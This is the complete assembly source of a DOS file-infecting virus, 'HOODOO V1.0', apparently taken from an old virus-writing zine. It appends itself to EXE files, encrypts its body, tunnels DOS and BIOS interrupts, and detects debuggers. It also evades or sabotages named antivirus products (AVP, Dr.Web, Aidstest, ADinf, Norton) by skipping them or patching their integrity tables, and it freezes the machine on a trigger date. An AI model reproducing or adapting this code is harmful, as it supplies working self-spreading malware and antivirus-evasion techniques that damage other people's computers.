;****************************************************************************
; Virus name : HOODOO V1.0
; Author : Infiltrator (FATAL BREAKPOINT BBS)
; Origin : St-Petersburg, RUSSIA, January 1, 1996
; Compiling : TASM HOODOO.ASM
; TLINK /T HOODOO.OBJ
;---------------------------------------------------------------------------
; Targets : EXE files from current dir to root
; Size : 2609 bytes
; Polymorphic : No
; Encryption : Yes
; Stealth : No
; Tunneling : Yes
; Retro : Yes
; Antiheuristics: Yes
;****************************************************************************
;===================== Macros used for direct int calls=================
int_21h Macro
pushf
cli
call dword ptr [real_int21][si]
Endm
;-------------------------------------------------------------------
int_13h Macro
pushf
cli
call dword ptr [real_int13][si]
Endm
;--------------------------------------------------------------------
Attributs EQU 15h
File_time EQU 16h
File_date EQU 18h
File_size EQU 1Ah
File_name EQU 1Eh
;--------------------------------------------------------------------
;AAM - used to fool some lame analysers
al_to_ah Macro
db 0D4h,1
EndM
;--------------------------------------------------------------------
.model tiny
.code
.startup
.286
virus_start:
db 3Eh,0FCh ;fooling code
push ax bx cx dx si di bp ds ;saving all registers!
push es
mov ax,cs
mov ds,ax
mov es,ax
;Performing old trick
call old_trick
old_trick:
db 26h,0FCh ; fool code
mov bp,sp
mov si,ss:[bp]
inc sp
inc sp
sub si,offset old_trick
lea ax,code_decode[si]
mov dx,cs
xor cx,cx
mov es,cx
xchg ax,word ptr es:[0]
xchg dx,word ptr es:[2]
mov word ptr old_int0[si],ax
mov word ptr old_int0[si+2],dx
div cx ;performing a divide by ZERO to call code_decode (en/decryption)
;---------------------------[ coded part ]-----------------------------
code_start:
mov ax,cs
mov es,ax
push si
xchg bp,si
lea si,real_jump[bp]
lea di,current_jump[bp]
movsw
movsw ;restoring last jump
pop si
xor ax,ax
push ax
pop cx
dec sp
dec sp
pop bx
cmp cx,bx
jz not_tracing
mov byte ptr td_present[si],255
not_tracing:
;---------------------------------------------------------------------
Get_DOS_version:
mov ax,3001h
int 21h
cmp al,5
jae check_8086
jmp bad_environment
check_8086:
mov byte ptr avp_TSR_present[si],0
;--------------------------------------------------------------------
;Check if 8086
push sp
pop ax
cmp ax,sp
jz _286
jmp bad_environment
_286:
;--------------------------------------------------------------------
;Check avp TSR
call check_avp_TSR
;--------------------------------------------------------------------
;check for 386+
mov ax,7000h
pushf
push ax
popf
pushf
pop ax
popf
and ax,7000h ; check for flag
jz short _80286 ; if ax=0 then this is a 80286
;--------------------------------------------------------------------
;Check OS/2
mov ax,4010h
int 2Fh
cmp ax,4010h
jz No_OS2
jmp bad_environment
No_OS2:
;--------------------------------------------------------------------
_80286:
;Find DOS segment
mov ah,34h
int 21h ;DOS activity flag
mov word ptr [real_int21+2][si],es ;store DOS seg
mov ax,3501h
int 21h
mov word ptr [old_int1][si],bx
mov word ptr [old_int1+2][si],es ;saving old int1
mov ah,25h
lea dx,trace_handler[si]
int 21h ;setting int1 handler
mov search_DOS[si],0
mov trace_report[si],0
xor ax,ax
mov es,ax
pushf
pop ax
or ah,1 ; turn on trap flag
push ax
in al,21h ; Get old IMR
mov IMR[si],al
mov al,0FFh ; disable all interrupts
out 21h,al
popf
mov dl,80h ;Drive C:
mov ah,9 ;reset HD controller
pushf
call dword ptr es:[13h*4] ;simulate int 13h
pushf
pop ax
or ah,1 ;Set TF for 2-nd tracing
push ax
popf
mov search_DOS[si],1
xor ax,ax
mov es,ax
mov ax,3001h ;Get DOS version
pushf
call dword ptr es:[21h*4] ;Simulate int 21h
pushf
pop ax
and ax,0FEFFh ;clear TF
push ax
popf
mov al,IMR[si] ; reenable interrupts
out 21h,al
test trace_report[si],1
jnz traced_13
jmp bad_environment
traced_13:
;------------------------------------------------------------------------
;Check avp TSR presence
cmp byte ptr avp_TSR_present[si],0
jz avp_not_present
call time_has_come
avp_not_present:
;------------------------------------------------------------------------
;test bit 1 of TD_presence
test byte ptr td_present[si],1
jz td_not_present
call time_has_come
td_not_present:
;------------------------------------------------------------------------
db 36h,0FBh ;fooling code
mov ah,4
int 1Ah ;Get date
cmp dl,21h ;day 21?
jnz not_yet
call time_has_come
not_yet:
;-----------------------------------------------------------------------
test trace_report[si],2
jnz traced_21
jmp bad_environment
;-----------------------------------------------------------------------
;setting vector 13 to BIOS
;-----------------------------------------------------------------------
traced_21:
db 26h, 0F8h ;fooling code
xor ax,ax
mov es,ax ;additionnal warranty
push word ptr es:[13h*4]
push word ptr es:[13h*4+2] ;old vector 13
push word ptr [real_int13][si]
push word ptr [real_int13+2][si] ;real vector 13
cli
pop word ptr es:[13h*4+2]
pop word ptr es:[13h*4] ;Critical !
sti
pop word ptr [real_int13+2][si]
pop word ptr [real_int13][si]
;------------------------------------------------------------------
; restoring int1
;------------------------------------------------------------------
push word ptr [old_int1][si]
push word ptr [old_int1+2][si]
cli
pop word ptr es:[1*4+2]
pop word ptr es:[1*4]
sti
;get current default drive
mov ah,19h
int 21h
cmp al,2 ;don't infect floppies
jnc get_free_disk_space
jmp bad_environment
get_free_disk_space:
mov ah,36h
xor dl,dl
int 21h
cmp ax,0FFFFh
jnz check_for_20k
jmp bad_environment
check_for_20k:
mul cx
mul bx
or dx,dx
jnz enough_disk_space
cmp ax,20*1024 ;check if there are 20 kb free!
jnc enough_disk_space
jmp bad_environment
enough_disk_space:
;---------------------------------------------------------------
;Get initial dir
xchg si,bp ;store SI value!
mov ah,47h
xor dl,dl
lea si,initial_dir[bp+1]
int 21h
xchg si,bp
;-----------------------------------------------------------------
;Get old DTA address into ES:BX
mov ah,2Fh
int 21h
mov word ptr [old_DTA][si],bx
mov word ptr [old_DTA+2][si],es
;-----------------------------------------------------------------
;Set new DTA
mov ah,1Ah
lea dx,DTA[si]
int 21h
;=================== Searching and infecting ====================
in al,21h
mov IMR[si],al
or al,2 ;masking kb interrupts
out 21h,al
mov bingo[si],0
Find_first_EXE:
mov ah,4Eh
lea dx,exe_mask[si]
int_21h
cmp al,12h
jz no_more_exe_files
call infect_file
Find_next_EXE:
mov ah,4Fh
lea dx,exe_mask[si]
int_21h
cmp al,12h
jz no_more_exe_files
call infect_file
jmp short Find_next_EXE
no_more_exe_files:
;--------------------------------------------------------------
;Change to upper dir
mov ah,3Bh
lea dx,upper_dir[si]
int_21h
jnc Find_first_EXE
;---------------------------------------------------------------
;Guess what
cmp bingo[si],0
jz no_need_adinf
call kill_adinf
no_need_adinf:
;======================== Infections achieved! =================
;Returning to initial dir
mov ah,3Bh
lea dx,initial_dir[si]
int_21h
mov al,IMR[si]
out 21h,al ;re-enabling kb interrupts
;Restoring Old DTA
push ds
mov dx,word ptr old_DTA[si] ;offset
mov ax,word ptr old_DTA[si+2] ;seg
mov ds,ax
mov ah,1Ah
int 21h
pop ds
;-----------------------------------------------------------------
; restore int13
;-----------------------------------------------------------------
xor ax,ax
mov es,ax ;additional warranty
push word ptr es:[13h*4]
push word ptr es:[13h*4+2] ;real vector 13
push word ptr [real_int13][si]
push word ptr [real_int13+2][si] ;old vector 13
cli
pop word ptr es:[13h*4+2]
pop word ptr es:[13h*4] ;Critical!
sti
pop word ptr [real_int13+2][si]
pop word ptr [real_int13][si]
;----------------------------------------------------------------------
;restore int 0
;----------------------------------------------------------------------
mov ax,word ptr old_int0[si]
mov dx,word ptr old_int0[si+2]
xchg ax,es:[0]
xchg dx,es:[2]
;--------------------------------------------------------------------
bad_environment:
pop es
mov ax,es ;AX = PSP segment
add ax,10h ;Adjust for PSP
add word ptr [current_jump+2][si],ax
jmp $+2
; mov ah,9
; lea dx,msg[si]
; int 21h
pop ds bp di si dx cx bx ax ;restoring all registers!
db 0EAh
current_jump dd 0
real_jump dw offset virus_end,0-10h
initial_dir db '\',64 dup(0)
upper_dir db '..',0
exe_mask db '*.exe',0
header db 18h dup(0) ;exe-header
bingo db 0 ;=1 when infection has occured
;and need to patch adinf
adinf_path db '*.*',0
ad_table db 13 dup(0)
buffer db 512 dup(0) ;needed to read adinf table
old_DTA dd 0
DTA db 128 dup(0)
real_int13 dd 0
search_DOS db 0
old_int1 dd 0
trace_report db 0
IMR db 0
msg db 13,10,7,7,"HOODOO V1.0 (c)1995 by Infiltrator. "
db "Please register.$"
;Need to fuck avp
antiviral_msg db 20h,0Dh,0Ah,'Antiviral$'
antimsg_len equ $-antiviral_msg
;Need to fuck avp TSR
avp_TSR_present db 0
;=======================[ TRACE HANDLER ]================================
trace_handler:
push bp ax cx es si
mov bp,sp
cmp search_DOS[si],1
je skip_13
mov ax,ss:[bp+12] ;CS
cmp ax,0C000h
jb exit_trace
mov ax,ss:[bp+10] ;IP
mov cl,4
shr ax,cl
add ax,ss:[bp+12]
jc exit_trace ;0FFFFh seg overflow
mov ax,ss:[bp+10]
mov word ptr ds:[real_int13][si],ax
mov ax,ss:[bp+12]
mov word ptr ds:[real_int13+2][si],ax
or trace_report[si],1 ;mark as found
jmp short found_13
skip_13:
mov ax,ss:[bp+12] ;DOS CS
cmp ax,word ptr ds:[real_int21+2][si]
jnz exit_trace
mov ax,ss:[bp+10]
mov word ptr ds:[real_int21][si],ax ;DOS IP
or trace_report[si],2 ;mark as found
found_13:
mov ax,ss:[bp+14]
and ax,0FEFFh ;clear TF in stack
mov ss:[bp+14],ax
exit_trace:
pop si es cx ax bp
iret
;====================[ Infecting file ]==================================
infect_file proc
;Preparing encrypting value
retry_value:
mov ah,0
int 1Ah
or dl,dl
jz retry_value
mov encrypt_value[si],dl
mov ax,4301h
xor cx,cx
lea dx,[DTA+File_name][si]
int 21h ;clear attributs
mov al,3Dh
al_to_ah
mov al,02h
; mov ax,3D02h
lea dx,[DTA+File_name][si]
int_21h
xchg bx,ax
mov al,3Fh
al_to_ah
; mov ah,3Fh
mov cx,18h ;read header
lea dx,header[si]
int_21h
;Check for 0E9h
cmp byte ptr ds:[header+si],0E9h ;misnamed COM
jnz check_for_EB
jmp close_file
check_for_EB:
cmp byte ptr ds:[header+si],0EBh ;misnamed COM
jnz check_4_MZ
jmp close_file
Check_4_MZ:
cmp word ptr ds:[header+si],'ZM' ;Real EXE file?
jz check_4_size
jmp close_file
check_4_size:
cmp word ptr [DTA+file_size+2][si],0
jnz size_ok
cmp word ptr [DTA+file_size][si],20*1024 ;20kb
jnc size_ok
jmp close_file
size_ok:
mov ax,4200h
mov cx,word ptr [DTA+File_size+2][si]
mov dx,word ptr [DTA+File_size][si]
dec dx ;point to last word in file
dec dx
int_21h
;Check if already infected
mov ah,3Fh
mov cx,2 ;read 2 bytes
lea dx,ID_word[si]
int_21h
mov ax,ID_word[si]
cmp ax,word ptr [DTA+16h][si]
jnz not_infected
jmp close_file
not_infected:
;----------------------------------------------------------------------
;Check if it's aidstest
mov ax,4200h
xor cx,cx
mov dx,131 ;offset in aidstest.exe
int 21h
mov ah,3Fh
mov cx,23 ;read bytes
lea dx,buffer[si]
int 21h
cmp byte ptr buffer[si],''
jz other_smile
jmp not_aidstest
other_smile:
cmp byte ptr buffer[si+22],''
jnz not_aidstest
jmp close_file
not_aidstest:
;----------------------------------------------------------------------
;Check if it's web
mov ax,4200h
xor cx,cx
mov dx,29h ;offset in drweb.exe
int 21h
mov ah,3Fh
mov cx,4 ;read bytes
lea dx,buffer[si]
int 21h
mov al,''
cmp byte ptr buffer[si],al
jz other_face
jmp not_web
other_face:
cmp byte ptr buffer[si+3],al
jnz not_web
jmp close_file
not_web:
;----------------------------------------------------------------------
;Check if it's adinf
mov ax,4200h
xor cx,cx
mov dx,29h ;offset in adinf.exe
int 21h
mov ah,3Fh
mov cx,8 ;read bytes
lea dx,buffer[si]
int 21h
mov al,''
cmp byte ptr buffer[si],al
jz second_face
jmp not_adinf
second_face:
cmp byte ptr buffer[si+7],al
jnz not_adinf
jmp close_file
not_adinf:
;----------------------------------------------------------------
;Check if Norton Antivirus 2.0
mov ax,4200h
xor cx,cx
mov dx,32h ;offset in nav.exe
int 21h
mov ah,3Fh
mov cx,8
lea dx,buffer[si]
int 21h
;check for 'Sy' (Symantec)
cmp word ptr buffer[si],7953h
jz check_ec
jmp not_nav20
;check for 'ec'
check_ec:
cmp word ptr buffer[si+6],6365h
jnz not_nav20
jmp close_file
not_nav20:
;-------------------------------------------------------------------
;Checking for overlay and infecting
mov al,42h
al_to_ah
mov al,02h
; mov ax,4202h
cwd
xor cx,cx
int_21h ;EOF
push bx
push ax
push dx
call convert_size_to_pages
cmp dx,word ptr [header+4][si]
jz ovl1
pop dx
pop ax
pop bx ;handle
jmp close_file
ovl1:
cmp ax,word ptr [header+2][si] ;checking for overlay
jz ovl2
pop dx
pop ax
pop bx ;handle
jmp close_file
ovl2:
pop dx
pop ax
push ax
push dx
mov cx,word ptr [header+14h][si]
mov word ptr [real_jump][si],cx ;IP
mov cx,word ptr [header+16h][si]
mov word ptr [real_jump+2][si],cx ;CS
mov bx,word ptr [header+8][si]
mov cl,4
shl bx,cl
sub ax,bx
sbb dx,0 ;sub header from file size
mov cx,10h
div cx ;convert to seg:offset
mov word ptr [header+14h][si],dx ;New entry point
mov word ptr [header+16h][si],ax
mov word ptr [header+0Eh][si],ax ;new stack segment
mov ah, byte ptr [DTA+File_date][si] ;ah=high byte of date (year)
mov al, byte ptr [DTA+File_size][si] ;al=low byte of file size
mov word ptr [header+10h][si],ax ;New SP
pop dx
pop ax
add ax,virus_end-virus_start
adc dx,0
call convert_size_to_pages
mov word ptr [header+4][si],dx ;new file size
mov word ptr [header+2][si],ax
add word ptr [header+0Ah][si],virus_end-virus_start
jnc $+8
mov word ptr [header+0Ah][si],0FFFFh ;min alloc
add word ptr [header+0Ch][si],virus_end-virus_start
jnc $+8
mov word ptr [header+0Ch][si],0FFFFh ;max alloc
;NEED to correct ID word HERE!
mov ax,word ptr [DTA+16h][si]
mov word ptr ID_word[si],ax
pop bx ;restore handle
mov al,40h
al_to_ah
; mov ah,40h
mov cx,virus_end-virus_start
lea dx,virus_start[si]
code_mid1:
; call code_decode ;encrypting virus to be linked
div al
int_21h ;append virus to file
xor ax,ax
div al
; call code_decode ;de-crypting virus
code_mid2:
mov bingo[si],1
mov ax,4200h
cwd
xor cx,cx
int_21h
mov al,40h
al_to_ah
; mov ah,40h
mov cx,18h
lea dx,header[si] ;write new header to file
int_21h
;Need to restore time and date
mov al,57h
al_to_ah
mov al,1
; mov ax,5701h
mov cx,word ptr [DTA+16h][si] ;original time
mov dx,word ptr [DTA+18h][si] ;original date
int_21h
Close_file:
mov al,3Eh
al_to_ah
; mov ah,3Eh
int_21h ;close file
;Need to restore attributs
mov al,43h
al_to_ah
mov al,1
; mov ax,4301h
mov cx,word ptr [DTA+15h][si] ;original attributs
lea dx,word ptr [DTA+1Eh][si] ;file name
int_21h
retn
infect_file endp
;======================[ Time has come ]===============================
time_has_come proc
in al,21h
mov IMR[si],al
or al,2
out 21h,al ;mask KB interrupts
lea dx,msg[si]
mov ah,9
int 21h
jmp $ ;lock !
time_has_come endp
;=============================[ Check avp TSR]===============================
check_avp_TSR proc
pusha
mov ax,0Ah
mov es,ax
xchg bp,si ;store SI
mov di,452h
lea si,antiviral_msg[bp]
mov cx,antimsg_len
repnz movsb ;storing 'Antiviral' at 452h
xchg si,bp ;restore SI
mov ah,46h
mov bx,1
mov cx,1
int 21h ;redirect CON to NUL
push ds
mov ax,0Ah
mov ds,ax
mov ah,9
mov dx,452h
mov cx,2D64h ;check if avp is installed
int 21h
pop ds
push cx
mov ah,46h
mov bx,0
mov cx,1
int 21h ;restoring CON
pop cx
cmp cx,736Dh
jnz no_avp
mov byte ptr avp_TSR_present[si],1
no_avp:
mov ax,0Ah
mov es,ax
mov di,452h
mov cx,antimsg_len
repnz stosb ;restoring '0' at 452h
popa
ret
check_avp_TSR endp
;=======================[ Converting size to pages ]==========================
convert_size_to_pages proc
push ax
mov cl,7
shl dx,cl
and ax,0FE00h
mov cl,9
shr ax,cl
add dx,ax
pop ax
and ax,1FFh
jz $+3
inc dx
retn
convert_size_to_pages endp
;==========================[ Kill adinf ]===============================
Kill_adinf proc
pusha
mov ax,cs
mov es,ax
mov ah,4Eh ;Find first
; mov al,4Eh
; al_to_ah
mov cx,2 ;find all hidden files!
lea dx,adinf_path[si]
int_21h
cmp al,12h
jz patch_done
call patch_adinf
next_table:
mov ah,4Fh
; mov al,4Fh
; al_to_ah
mov cx,2
lea dx,adinf_path[si]
int_21h
cmp al,12h
jz patch_done
call patch_adinf
jmp short next_table
patch_done:
popa
ret
Kill_adinf endp
;===========================[ Patch adinf ]===============================
patch_adinf proc
lea bx,[DTA+1Eh][si] ;file name in DTA
lea di,ad_table[si]
next_letter:
mov al,[bx]
inc bx
stosb
or al,al
jnz next_letter
mov ax,4301h
; mov al,43h
; al_to_ah
; mov al,1
xor cx,cx
lea dx,ad_table[si]
int_21h
mov ax,3D02h
; mov al,3Dh
; al_to_ah
; mov al,02h
lea dx,ad_table[si]
int_21h
xchg ax,bx
mov ax,4200h
; mov al,42h
; al_to_ah
; mov al,0
xor cx,cx
mov dx,68h ;point at 'Advanced Diskinfoscope...'
int_21h
mov ah,3Fh
; mov al,3Fh
; al_to_ah
mov cx,70h
lea dx,buffer[si]
int_21h
cmp word ptr [buffer+si],'dA'
jnz fake_adinf
cmp word ptr [buffer+49h][si],'®Œ'
jnz fake_adinf
mov ax,4200h
; mov al,42h
; al_to_ah
; mov al,0
xor cx,cx
mov dx,200h
int_21h
mov ah,40h
mov buffer[si],0
lea dx,buffer[si]
mov cx,1 ;1 byte patch!
int_21h
fake_adinf:
mov ax,5701h ;restoring
; mov al,57h
; al_to_ah
; mov al,1
mov cx,word ptr ds:[DTA+16h][si] ;file time
mov dx,word ptr ds:[DTA+18h][si] ;file date
int_21h
mov ah,3Eh
; mov al,3Eh
; al_to_ah
int_21h
mov ax,4301h
; mov al,43h
; al_to_ah
; mov al,1
mov cl,byte ptr ds:[DTA+15h][si]
xor ch,ch
lea dx,ad_table[si]
int_21h ;restore attributs
retn
patch_adinf endp
;========================[ Mark end of encryption ]=====================
code_end:
;=========================[ Encoding/decoding ]=========================
code_decode proc
push ax bx cx di es bp
mov bp,sp
add word ptr ss:[bp+12],2 ;coz it still points to 'div cx'
push cs
pop es
lea bx,code_start[si]
mov di,bx
mov cx,code_mid1-code_start
call crypt_cycle ;crypt/decrypting 1-st half
lea bx,code_mid2[si]
mov di,bx
mov cx,code_end-code_mid2
call crypt_cycle ;crypt/decrypting 2-nd half
pop bp es di cx bx ax
retf 2
code_decode endp
;==========================[ Encrypting cycle ]=========================
crypt_cycle proc
do_crypt:
mov al,[bx]
xor al,encrypt_value[si]
stosb
inc bx
;Test turbo debugger presence inside loop
push cs
pop ss
pushf
pop ax
mov byte ptr td_present[si],ah ;Trap bit stored.
loop do_crypt
retn
crypt_cycle endp
;=========================[Various values]=================================
;Placed here to avoid encryption!
real_int21 dd 0
old_int0 dd 0
;Need to fuck turbo debugger
td_present db 0
;=========================[ Encrypt value ]==============================
encrypt_value db 0
;========================[ ID BYTE ]=====================================
ID_word dw 0
;=======================[ Part to be cutted off ]========================
virus_end:
db 0B8h,0,4Ch
db 0CDh,21h
;========================================================================
end
- VLAD #7 INDEX -